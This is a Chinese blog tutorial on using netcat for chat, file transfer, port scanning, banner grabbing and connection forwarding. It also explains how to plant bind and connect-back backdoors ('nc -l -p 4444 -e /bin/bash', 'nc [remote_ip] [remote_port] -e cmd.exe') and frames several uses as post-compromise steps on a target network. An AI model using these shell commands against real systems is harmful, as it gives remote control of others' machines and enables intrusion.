美文网首页
netcat工具的使用(一)

netcat工具的使用(一)

作者: 讲武德的年轻人 | 来源:发表于2020-09-20 00:06 被阅读0次

介绍

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具。

netcat的下载安装

1. netcat基本使用

i. 使用nc互相通信
  • 创建一个服务端方法

nc -l -p [localhost]
-l 表示监听
-p 加监听端口号

  • 创建一个客户端方法(连接服务端)

nc remote_ip remote_port

这样就相当于建立了一个对话连接,双方可以互相通信,但不能对机器执行相关操作
用我的两台笔记本测试下:
服务端(内网IP:192.168.0.111):


服务端操作,启动一个连接并监听4444端口

客户端(内网IP:192.168.0.107):


客户端操作
ii. 将服务端的shell返回

创建一个服务端方法:

nc -l -p [localhost] -e cmd.exe
nc -l -p [localhost] -e /bin/bash

创建一个客户端(连接服务端):

nc remote_ip remote_port

下面进行演示

  • windows为服务端/被控制端:
    服务端(192.168.0.107):


    Windows做服务端

    客户端(192.168.0.111):


    客户端可以控制服务端
    执行ipconfig显示的ip地址也是服务端的地址192.168.0.107
  • Linux为服务端/被控制端:
    服务端以我的阿里云主机为例,之前做webrtc实验,安全组开放了3478端口,现在以此端口用作服务端的监听端口,并返回/bin/bash:
    阿里云centos7主机监听3478端口
    客户端:
    客户端返回服务端bash
    后面我在客户端尝试执行了init 6命令,然后我的阿里云主机就直接重启了,由此可见,非常危险。

2. netcat文件传输

使用场景

  • 取证
    当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差。
  • 单纯获取目标机器敏感文件
    当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。

为什么可以直接利用nc进行文件传输呢?
nc中的数据传输 使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。

服务端向客户端传送文件
创建一个服务器端方法(发文件):

nc -l -p [localport] > outfile

创建一个客户端方法(连接服务端)(收文件):

nc remote_ip remote_port < infile
举例:
在服务端桌面创建文件flag.txt,并写入以下内容:


发文件flag.txt
客户端收文件:
客户端收文件命令
客户端收到的文件内容

客户端也可以向服务端发送文件,双方建立连接的时候,输入输出箭头相反就行了

  • 注意:如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,直到连接上服务端,造成一种“假死”状态。

解决方法:设置等待时间。

nc -w3 [ip] [port]

设置等待3秒钟,超过3秒钟,客户端直接关闭等待连接。

3. netcat信息探测

使用场景
  1. 目标内网的扫描
    当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat的话,就可以使用netcat进行内网ip和端口的扫描。
  2. 单纯对某个目标进行端口探测
    当手头没有任何探测工具可以使用netcat进行端口探测
  3. 对目标的服务banner进行抓取
    通过netcat对目标端口进行探测。

端口探测:

nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
-w1 超时设置为1秒。

举例:

banner信息抓取
方法:

echo “ ” | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]

举例:


获取banner信息

4. netcat建立后门

使用场景:
1、获取目标的命令执行权限
当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能
为什么可以使用netcat建立后门,并返回操作结果?
原理:netcat一切数据时通过标准输入/输出流实现的,所以可以利用netcat的命令行进行后门建立,并传输结果信息。

i. Windows建立后门的方法

监听型后门

nc -l -p 4444 -e cmd.exe

连接型后门

nc [remote_ip] [remote_port] -e cmd.exe

ii. Linux建立后门的方法

监听型后门

nc -l -p 4444 -e /bin/bash

连接型后门

nc [remote_ip] [remote_port] -e /bin/bash

5. netcat命令参数

C:\Users\Administrator\Desktop>nc64.exe.lnk -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

-d 脱离命令窗口,在后台运行,常用于后门建立过程
-e 执行某个程序,常用于后门建立过程
-G gateway 设置网关,常用于突破内网限制
-g num 路由跳数
-i sec 设置发送每一行数据的时间间隔
-l 设置netcat处于监听状态等待连接
-L 设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态
-n 设置netcat只识别ip地址,不在进行DNS解析
-o file 设置传输十六进制的数据
-p port 设置本地监听的端口号
-r 设置netcat随机化的端口号
-s addr 设置netcat源地址
-t 回复telnet的请求数据包
-u 设置netcat使用UDP模式
-v 显示错误提示信息
-w secs 设置连接超时秒数
-z 设置扫描模式,表示发送的数据包中不包含任何payload

6. netcat连接转发

为什么需要连接转发?突破某些特殊情况下的连接限制,以及处理一些特殊情况。

echo nc [target] [port] > delay.bat

nc -l -p [localport] -e delay.bat

当有客户端连接该服务端时,连接的客户端和通过服务端连接到 target port上实现了连接转发功能。(端口转发)

相关文章

  • netcat工具的使用(一)

    介绍 Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操...

  • Linux高并发服务器开发---从网络IO到IO多路复用

    Netcat软件的基本使用 Netcat(简写nc)是一个强大的网络命令工具,能够在linux中执行与TCP、UD...

  • 使用 Netcat 模拟 HTTP 请求

    Netcat 作为一款强大的网络工具,在开发及网络运维中可以发挥很大作用。本文说明一下使用 Netcat 进行 H...

  • SparkStreaming之Dstream入门

    WordCount案例实操 需求:使用netcat工具向9999端口不断的发送数据,通过SparkStreamin...

  • Netcat——TCP/IP连接工具(瑞士军刀)

    Netcat——TCP/IP连接工具(瑞士军刀) Netcat的帮助信息 nc的功能 telnet / 获取系统 ...

  • 安装Chocolatey

    复制以下命令在cmd窗口以管理员身份运行: 安装netcat 使用netcat:

  • netcat使用

    http://lib.csdn.net/mobile/article/computernetworks/38774

  • yum-socat安装

    socat,一个多功能的网络工具,名字来源于SOcket CAT,是netcat的增强版,也就是netcat++(...

  • netcat反向shell

    利用在网络工具中有“瑞士军刀”美誉的NetCat实现反向shell 1.windows端下载netcat程序,加入...

  • Centos安装netcat

    Centos 安装 netcat netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过...

网友评论

      本文标题:netcat工具的使用(一)

      本文链接:https://www.haomeiwen.com/subject/foueyktx.html